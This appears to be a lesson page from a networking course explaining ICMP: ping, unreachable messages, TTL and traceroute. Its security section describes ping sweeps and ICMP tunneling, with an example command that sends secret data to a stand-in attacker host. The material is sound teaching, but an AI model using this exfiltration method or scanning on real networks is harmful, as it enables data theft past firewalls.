Home > Phase 4: Core Network Protocols > ICMP

ICMP (Internet Control Message Protocol)

📡 The Network's Health Check

I see you're ready to tackle the second pillar of network infrastructure. While ARP handles the "Who is?" problem, ICMP handles the "How are you?" or "Why did this fail?" problem.

One-line definition: ICMP is the "health check" and error-reporting language of the internet; it doesn't carry user data (like files), it carries status updates.

Why it exists: Routers need a way to tell you if a delivery failed, took too long, or if the destination doesn't exist.

Break into components:

  • No Ports: Unlike other protocols (like HTTP on Port 80), ICMP doesn't use ports. It runs directly on top of IP.
  • Types and Codes: It uses numbers to define the message (e.g., Code Type 8 is "Ping Request").
How it works:
  1. You send a packet.
  2. Something goes wrong (cable cut, server down).
  3. The router where it failed sends an ICMP message back to you saying: "Hey, I couldn't deliver this because the road is closed."

This is the bread and butter of IT troubleshooting. You will use these commands daily.

2b-i. Echo Request & Reply (Ping)

Definition: The famous "Ping." You say "Marco," the server says "Polo."

Why it exists: To check if a specific computer is alive and listening.

The Process:
  • Echo Request (Type 8): You send a tiny packet to 8.8.8.8.
  • Echo Reply (Type 0): The server receives it and immediately bounces it back.
  • Result: Your computer calculates the time (latency) it took for the round trip (e.g., "14ms").

2b-ii. Destination Unreachable

Definition: A "Return to Sender" stamp from a router.

Key Error Codes:
  • Host Unreachable: "I can't find that computer on the local network."
  • Port Unreachable: "The computer is there, but nobody is listening on that specific service (port)."
  • Net Unreachable: "I don't know a route to get to that country/network."

2b-iii. Time Exceeded (TTL & Traceroute)

Definition: A message sent when a packet "dies" of old age before reaching the destination.

Why it exists: To prevent packets from looping in circles forever if the network is broken.

The "TTL" Trick (Traceroute):

Every packet has a Time To Live (TTL) number (e.g., 30). Every router it passes subtracts 1. If TTL hits 0, the router kills the packet and sends an ICMP "Time Exceeded" back to you.

Traceroute uses this to map the internet. It sends a packet with TTL=1 (Router 1 replies), then TTL=2 (Router 2 replies), then TTL=3... revealing the path step-by-step.

🚚 Analogy: The Delivery Driver

Ping: You knock on a door to see if anyone is home. If they yell "Coming!", you know they are alive.

Unreachable: You try to deliver a package, but the house has burned down. You return the package with a note: "House gone."

TTL/Traceroute: You give a driver a delivery instruction: "Drive only 3 miles." At exactly 3 miles, the driver stops, calls you, and says, "I stopped here." By changing the miles allowed, you find out exactly where the driver goes.

Hackers love ICMP because admins often forget to block it.

2c-i. Network Scanning (Ping Sweeps)

Definition: Automatically pinging every IP in a range to see who answers.

The Attack:

A hacker sends Echo Requests to 192.168.1.1 through 192.168.1.254. Every machine that sends an Echo Reply is a live target. Firewalls often block this now, so hackers use other tricks like ARP scanning.

2c-ii. ICMP Tunneling (Hidden Data)

Definition: Hiding secret data inside the "payload" section of a Ping packet.

Why it works: Most firewalls allow Pings (ICMP) out so users can test connections. They don't look inside the Ping packet.

The Attack Logic:
  • Normal Ping: Contains junk data (abcd...).
  • Malicious Ping: Hacker puts stolen passwords inside the data field.
  • The packet leaves the company network because "It's just a Ping." The hacker's server extracts the passwords. This is called Data Exfiltration.
💡 Real Examples:
  • Example 1 (Basic): You type ping google.com. You see: Reply from 142.250.1.100: bytes=32 time=14ms TTL=116. This tells you Google is up, your internet works, and the connection is fast.
  • Example 2 (Cybersecurity): A malware infects a laptop. It needs to steal files, but Port 80/443 are monitored. The malware chops the file into tiny chunks and inserts each into an ICMP packet: ping -p [SECRET_DATA] hacker.com. The firewall sees "Ping traffic" and allows it. The hacker reassembles it on the other side.

🛑 ICMP Wrap-Up

  • Function: ICMP is for diagnostics (Ping) and error reporting (Unreachable).
  • Layer: Operates at the Network layer (Level 3); it has no ports.
  • Traceroute: Powered by the TTL (Time To Live) counter.
  • Security Risk: Vulnerable to ICMP Tunneling for bypassing firewalls to steal data.

Practical Uses: ping, traceroute, debugging connectivity.

📚 Sources & References

  • RFC 792: The official ICMP standard.
  • MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol).
  • MITRE ATT&CK: T1595 (Active Scanning).